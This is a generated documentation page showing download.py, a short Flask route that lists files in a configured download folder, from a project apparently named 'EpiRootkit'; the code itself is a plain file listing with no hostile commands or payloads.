EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
download.py
Go to the documentation of this file.
1from app import app
2import config as cfg
3from flask import render_template, redirect, url_for, request, flash
4import os
5import binascii
6# --------------------------------- LISTE DES FICHIERS --------------------------------- #
7
8
9@app.route('/download')
11 files = os.listdir(cfg.DOWNLOAD_FOLDER)
12 return render_template("download.html", files=files, download_folder=cfg.DOWNLOAD_FOLDER)
13
download()
Definition download.py:10